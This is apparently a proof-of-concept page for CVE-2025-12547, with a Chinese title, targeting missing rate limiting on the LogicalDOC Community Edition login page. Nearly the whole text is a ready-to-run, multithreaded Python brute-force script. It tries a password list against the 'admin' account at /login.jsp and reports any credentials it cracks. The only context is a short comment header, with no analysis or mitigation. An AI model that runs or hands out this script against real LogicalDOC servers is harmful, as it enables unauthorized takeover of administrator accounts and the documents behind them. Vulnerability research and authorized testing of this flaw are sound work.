CVE-2025-12547 LogicalDOC Community Edition登录页暴力破解防护缺失漏洞

# CVE-2025-12547 PoC - LogicalDOC Login Brute Force Attack # Target: LogicalDOC Community Edition <= 9.2.1 # Vulnerability: Missing rate limiting on /login.jsp import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "http://target-server:8080/login.jsp" USERNAME = "admin" PASSWORD_FILE = "passwords.txt" MAX_THREADS = 10 def try_login(username, password): """Attempt login with given credentials""" data = { "username": username, "password": password, "submit": "Login" } try: response = requests.post(TARGET_URL, data=data, timeout=10) # Check for successful login indicators if "dashboard" in response.text.lower() or response.status_code == 302: return (username, password, True) return (username, password, False) except requests.RequestException: return (username, password, False) def brute_force_attack(): """Execute brute force attack on login page""" print(f"[*] Starting brute force attack on {TARGET_URL}") print(f"[*] Target username: {USERNAME}") print(f"[*] Loading passwords from {PASSWORD_FILE}") try: with open(PASSWORD_FILE, 'r') as f: passwords = [line.strip() for line in f] except FileNotFoundError: print(f"[!] Password file not found: {PASSWORD_FILE}") return print(f"[*] Loaded {len(passwords)} passwords") with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor: futures = {executor.submit(try_login, USERNAME, pwd): pwd for pwd in passwords} for future in as_completed(futures): username, password, success = future.result() if success: print(f"\n[!] SUCCESS! Valid credentials found:") print(f" Username: {username}") print(f" Password: {password}") executor.shutdown(wait=False) return else: print(f"[-] Failed: {password}") print("\n[*] Brute force attack completed. No valid credentials found.") if __name__ == "__main__": brute_force_attack()